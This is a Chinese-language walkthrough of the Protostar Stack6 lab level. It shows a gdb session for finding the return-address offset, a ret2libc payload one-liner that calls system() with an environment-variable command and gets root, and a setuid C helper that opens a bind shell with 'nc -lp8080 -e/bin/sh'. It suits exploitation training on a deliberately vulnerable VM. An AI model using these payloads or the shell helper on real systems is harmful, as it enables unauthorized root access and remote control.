About

Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload (  objdump -s will help with this), or  ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6

Source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
    char buffer[64];
    unsigned int ret;

    printf("input path please: "); fflush(stdout);

    gets(buffer);

    ret = __builtin_return_address(0);

    if((ret & 0xbf000000) == 0xbf000000) {
        printf("bzzzt (%p)\n", ret);
        _exit(1);
    }

    printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
    getpath();
}

果然后面的题越来越有挑战。该题总的思路是一样的:通过修改函数的RET地址来跳到需要执行代码的地方。但是这里多了个限制就是程序通过__builtin_return_address(0)先获得RET地址,如果RET以0xbf开头的话将执行_exit(1),因为buffer的地址都在0xbf******当中,因此我们无法直接将要执行的代码放在buffer中。
如何绕过这个限制呢?……方法就是找一个非以0xbf地址开头的就可以了,通过查找资料得知system(),exit()函数就是我们所需要找的东东。

第一步仍是先要找到RET在我们输入buffer后的相对地址在哪里,方法跟之前一样。。。
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <getpath+0>: push     %ebp
0x08048485 <getpath+1>: mov        %esp,%ebp
0x08048487 <getpath+3>: sub        $0x68,%esp
0x0804848a <getpath+6>: mov        $0x80485d0,%eax
0x0804848f <getpath+11>:                mov        %eax,(%esp)
0x08048492 <getpath+14>:                call     0x80483c0 <printf@plt>
0x08048497 <getpath+19>:                mov        0x8049720,%eax
0x0804849c <getpath+24>:                mov        %eax,(%esp)
0x0804849f <getpath+27>:                call     0x80483b0 <fflush@plt>
0x080484a4 <getpath+32>:                lea        -0x4c(%ebp),%eax
0x080484a7 <getpath+35>:                mov        %eax,(%esp)
0x080484aa <getpath+38>:                call     0x8048380 <gets@plt>
0x080484af <getpath+43>:                mov        0x4(%ebp),%eax
0x080484b2 <getpath+46>:                mov        %eax,-0xc(%ebp)
0x080484b5 <getpath+49>:                mov        -0xc(%ebp),%eax
0x080484b8 <getpath+52>:                and        $0xbf000000,%eax
0x080484bd <getpath+57>:                cmp        $0xbf000000,%eax
0x080484c2 <getpath+62>:                jne        0x80484e4 <getpath+96>
0x080484c4 <getpath+64>:                mov        $0x80485e4,%eax
0x080484c9 <getpath+69>:                mov        -0xc(%ebp),%edx
0x080484cc <getpath+72>:                mov        %edx,0x4(%esp)
0x080484d0 <getpath+76>:                mov        %eax,(%esp)
---Type <return> to continue, or q <return> to quit---
0x080484d3 <getpath+79>:                call     0x80483c0 <printf@plt>
0x080484d8 <getpath+84>:                movl     $0x1,(%esp)
0x080484df <getpath+91>:                call     0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>:                mov        $0x80485f0,%eax
0x080484e9 <getpath+101>:             lea        -0x4c(%ebp),%edx
0x080484ec <getpath+104>:             mov        %edx,0x4(%esp)
0x080484f0 <getpath+108>:             mov        %eax,(%esp)
0x080484f3 <getpath+111>:             call     0x80483c0 <printf@plt>
0x080484f8 <getpath+116>:             leave    
0x080484f9 <getpath+117>:             ret        
End of assembler dump.
(gdb) b *getpath+116
Breakpoint 1 at 0x80484f8: file stack6/stack6.c, line 23.
(gdb) r
Starting program: /opt/protostar/bin/stack6
input path please: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, getpath () at stack6/stack6.c:23
23            stack6/stack6.c: No such file or directory.
                in stack6/stack6.c
(gdb) x/40x $esp
0xbffff740:         0x080485f0            0xbffff75c            0xb7fe1b28            0x00000001
0xbffff750:         0x00000000            0x00000001            0xb7fff8f8            
0x61616161
0xbffff760:         0x61616161            0x61616161            0x61616161            0x61616161
0xbffff770:         0x61616161            0x61616161            0x61616161            0x08040061
0xbffff780:         0xb7ff1040            0x080496ec            0xbffff7b8            0x08048539
0xbffff790:         0xb7fd8304            0xb7fd7ff4            0x08048520            0x08048505
0xbffff7a0:         0xb7ec6365            0xb7ff1040            0xbffff7b8            0x08048505
0xbffff7b0:         0x08048520            0x00000000            0xbffff838            0xb7eadc76
0xbffff7c0:         0x00000001            0xbffff864            0xbffff86c            0xb7fe1848
0xbffff7d0:         0xbffff820            0xffffffff            0xb7ffeff4            0x080482a1
(gdb) x/2x $ebp
0xbffff7a8:         0xbffff7b8            0x08048505
(gdb) p 0xbffff7a8+4-0xbffff75c
$1 = 80
(gdb)

EIP距离开始输入的距离是80

第二步是获得system,exit函数的地址
user@protostar:/opt/protostar/bin$ gdb -q ./stack6
Reading symbols from /opt/protostar/bin/stack6...done.
(gdb) b *main
Breakpoint 1 at 0x80484fa: file stack6/stack6.c, line 26.
(gdb) r
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff864) at stack6/stack6.c:26
26            stack6/stack6.c: No such file or directory.
                in stack6/stack6.c
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

现在RET的位置、system、exit都具备了。因为system的地址是0xb7开头能够绕过程序中的if语句,剩下只需要给system传递执行参数即可,这里把要执行的命令(whoami)放在环境变量里

user@protostar:/opt/protostar/bin$ export TEST="whoami"
user@protostar:/opt/protostar/bin$ ~/getenvaddr TEST ./stack6
TEST will be at 0xbfffff2e
user@protostar:/opt/protostar/bin$ cat /home/user/getenvaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
                char *ptr;
                if(argc < 3) {
                                printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
                                exit(0);
                }
                ptr = getenv(argv[1]); /* get env var location */
                ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
                printf("%s will be at %p\n", argv[1], ptr);
}

最后我们所需要的东西都具备了,构造执行代码应该是长这样的  <'a'*80><system><exit>< ENV_VAR_ADDRESS >

user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\x2e\xff\xff\xbf"' | ./stack6
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆.
root
user@protostar:/opt/protostar/bin$

因此很多童鞋想是不是需要更改TEST的值即可执行任意代码了?很高兴地告诉你,答案是否定的,具体的请man system。。。
但是如果拿到一个shell呢?这里有另外一个方法:就是通过nc映射端口。

user@protostar:/opt/protostar/bin$ cat /home/user/netcat.c
#include <stdlib.h>

int main(int argc, char **argv, char **envp){
        setuid(0);
        setgid(0);
        char *args[] = { "nc","-lp8080","-e/bin/sh",(char *)0};
        execve("/bin/nc", args, envp);
}

然后在环境变量中添加编辑后可执行文件
user@protostar:/opt/protostar/bin$ export RUN="///home/user/netcat"
user@protostar:/opt/protostar/bin$ ~/getenvaddr RUN ./stack6
RUN will be at 0xbfffffbc

同理,执行后程序处理监听状态。。。
user@protostar:/opt/protostar/bin$ python -c 'print "a"*80 + "\xb0\xff\xec\xb7\xc0\x60\xec\xb7\xbc\xff\xff\xbf"' | ./stack6
input path please: got path aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa旆aaaaaaaaaaaa旆繾旆

<Listening>

在另外一台机器连接,测试成功。。。